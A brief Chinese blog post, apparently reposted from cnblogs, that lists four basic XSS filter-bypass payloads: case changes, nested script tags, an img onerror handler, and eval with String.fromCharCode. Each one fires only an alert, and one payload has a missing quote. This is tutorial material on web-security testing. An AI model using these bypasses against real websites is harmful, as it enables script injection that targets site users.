XSS 基本绕过

1.<Script>alert('xss')</Script>                 大小写绕过

2.<scr<script>ipt>alert('xss)</scr</script>ipt>          会过滤<script></script>一次。所有重复绕过

3.<img src=1 onerror=alert('xss')>             当做了对script过滤,只要出现就错误时,可使用onerror绕过。

      例:如果在加载图片时发生错误则执行 JavaScript(onerror) :<img src="image.gif" onerror="myFunction()">

4.<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 65, 78, 89, 34, 41))</script>

String.fromCharCode 就是把ascii码转成字符串,然后eval就是把该字符串解析成javascript语句来执行。

猜你喜欢

转载自www.cnblogs.com/pangya/p/8979211.html